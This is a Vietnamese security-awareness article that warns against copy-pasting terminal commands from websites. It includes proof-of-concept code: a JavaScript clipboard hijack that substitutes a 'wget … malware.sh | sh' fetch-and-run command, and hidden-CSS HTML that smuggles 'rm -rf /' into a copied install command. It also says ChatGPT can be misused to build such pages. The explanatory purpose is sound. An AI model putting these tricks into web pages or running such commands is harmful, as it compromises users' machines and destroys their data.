Tại sao bạn không nên copy-paste lệnh từ Internet

Tại sao bạn không nên copy-paste lệnh từ Internet

Chia sẻ kiến thức 04/09/2023

 

Từ máy tính đến điện thoại di động, việc copy-paste phổ biến ở khắp mọi nơi. Nó giúp cuộc sống trở nên dễ dàng hơn và giúp bạn tiết kiệm thời gian vì không phải gõ những dòng lệnh dài hoặc văn bản thừa. Tuy nhiên, nếu không cẩn thận, bạn có thể bị tấn công chỉ bằng cách copy-paste các lệnh trên terminal của máy tính. 

Cùng FUNiX tìm hiểu việc copy-paste có thể khiến bạn bị hack như thế nào và bạn nên làm gì để ngăn chặn điều đó. 

Tại sao không nên copy-paste lệnh?

Bạn có thể muốn copy-paste các lệnh từ internet để tiết kiệm thời gian và hoàn thành công việc thực tế. Tuy nhiên, bạn nên lưu ý rằng các trang web độc hại thực sự đang vũ khí hóa các hộp code để tiêm code độc bất cứ khi nào bạn copy-paste lệnh trực tiếp vào terminal.

Những tác nhân độc hại này đang sử dụng nhiều thủ thuật frontend khác nhau để che giấu các lệnh độc hại đằng sau code trông vô hại.

Một lệnh như sudo apt-get update && apt-get upgrade thường cập nhật các kho lưu trữ và nâng cấp các gói trên hệ thống Linux. Tuy nhiên, nếu bạn không biết và copy-paste lệnh này trực tiếp vào terminal, bạn có thể vô tình thực thi code phần mềm độc hại với quyền root do tiền tố sudo. 

Trong trường hợp xấu nhất, điều này có thể dẫn đến việc chiếm quyền kiểm soát hoàn toàn hệ thống của bạn hoặc thậm chí là một cuộc tấn công bằng phần mềm tống tiền (ransomware). Tuy nhiên, những kẻ đe dọa làm điều này bằng cách nào? Làm thế nào các lệnh độc hại có thể được ẩn đằng sau code vô hại?

Khai thác code độc hại hoạt động như thế nào? 

PoC khai thác

Việc khai thác này có thể được thực hiện bằng cách sử dụng JavaScript được tạo khéo léo hoặc thậm chí là HTML cơ bản. JavaScript có một cơ chế gọi là EventListener. Sự kiện (event) là những hành động có thể xảy ra trong trình duyệt, chẳng hạn như nhấp vào nút, gửi biểu mẫu, di chuyển chuột, nhấn tổ hợp phím hoặc thay đổi kích thước cửa sổ.

EventListener cho phép ứng dụng web của bạn phản ứng với các sự kiện nhất định được kích hoạt bởi hành động của người dùng. Các trang web độc hại khai thác cơ chế hợp pháp và hữu ích này bằng cách nắm bắt sự kiện người dùng sao chép văn bản và thay thế văn bản vô hại bằng code độc hại. 

Đây là code khai thác chính được sử dụng để xây dựng hình ảnh demo:

<script>
document.addEventListener('copy', function(event) {
  event.preventDefault();
  const copiedText = "wget http://localhost:8000/malware.sh | sh";
  event.clipboardData.setData('text/plain', copiedText);
});
</script>

Đây là một bản demo khác, không yêu cầu bất kỳ JavaScript nào và sử dụng HTML cơ bản:

<p>
sudo apt-get install google-chrome-stable
<span style="color:white;font-size:0pt;">rm -rf /</span>
</p>

Điều này tạo ra một văn bản màu trắng vô hình, ẩn lệnh độc hại “rm -rf /” một cách hiệu quả và thẻ <br> tạo ngắt dòng để một số terminal sẽ thực thi code ngay lập tức khi code được paste. Bạn có thể nghĩ rằng cần phải nắm vững các kỹ năng lập trình và phát triển web để thực hiện cuộc tấn công này, nhưng trên thực tế, nó khá dễ dàng.

Ngay cả khi kẻ tấn công không có bất kỳ kiến ​​thức nào về JavaScript hoặc phát triển web, chúng vẫn có thể dễ dàng tạo phần mềm độc hại bằng cách sử dụng ChatGPT. Với những lời nhắc (prompt) phù hợp, người ta có thể dễ dàng lợi dụng ChatGPT và khiến nó tạo ra các trang web độc hại sử dụng thủ thuật này.

Bạn có thể tự bảo vệ như thế nào?

hình ảnh mờ của mã hóa máy tính màu xanh và tím
 

Không có cách cụ thể nào để bảo vệ bạn khỏi các cuộc tấn công bằng code độc. Chắc chắn, bạn có thể không cho phép JavaScript đối với các trang web đáng ngờ, nhưng về bản chất, chúng có thể sẽ không cho phép bạn duyệt mà không bật JavaScript.

Hơn nữa, đối với phương pháp CSS (Cascading Style Sheets), không có biện pháp bảo vệ cụ thể nào chống lại các lệnh độc hại vì nó vẫn là code CSS hợp lệ (tức là không có gì sai nhưng mục đích vẫn độc hại). Cách tốt nhất để bảo vệ bản thân chỉ là tuân thủ các quy định cơ bản về sử dụng Internet an toàn.

Đừng truy cập các đường link không xác định và đảm bảo luôn paste lệnh bạn đang sao chép từ Internet vào trình soạn thảo văn bản trước khi paste vào terminal. Hãy sử dụng các nguồn code hợp pháp và có uy tín để đảm bảo rằng bạn không đưa code độc hại vào dòng lệnh của mình.

Ngoài ra, một số terminal như xfce4-terminal được trang bị sẵn tính năng bảo vệ copy-paste. Nó sẽ hiển thị một cửa sổ bật lên cho bạn biết chính xác những gì sẽ được thực thi ngay khi bạn dán lệnh vào terminal của mình. Kiểm tra xem terminal của bạn có cơ chế tương tự hay không và kích hoạt nó.

Thực thi code độc hại rất nguy hiểm

Ngay cả khi bạn đã cài đặt phần mềm chống vi-rút, một số hình thức thực thi code độc nhất định vẫn có thể xuyên thủng hàng rào bảo vệ thiết bị của bạn. Đây là lý do tại sao điều quan trọng là phải cảnh giác với code bạn sao chép trực tuyến và sử dụng các biện pháp bảo vệ bất cứ khi nào có thể để giữ an toàn cho bản thân.

Tìm hiểu ngay chương trình học công nghệ thông tin trực tuyến tại FUNiX ở đây:

Vân Nguyễn

Dịch từ: https://www.makeuseof.com/why-you-shouldnt-copy-paste-commands-from-internet/

ĐĂNG KÝ TƯ VẤN HỌC LẬP TRÌNH TẠI FUNiX

Bình luận (
0
)

Bài liên quan

  • Tầng 0, tòa nhà FPT, 17 Duy Tân, Q. Cầu Giấy, Hà Nội
  • info@funix.edu.vn
  • 0782313602 (Zalo, Viber)        
Chat Button
Chat với FUNiX GPT ×

yêu cầu gọi lại

error: Content is protected !!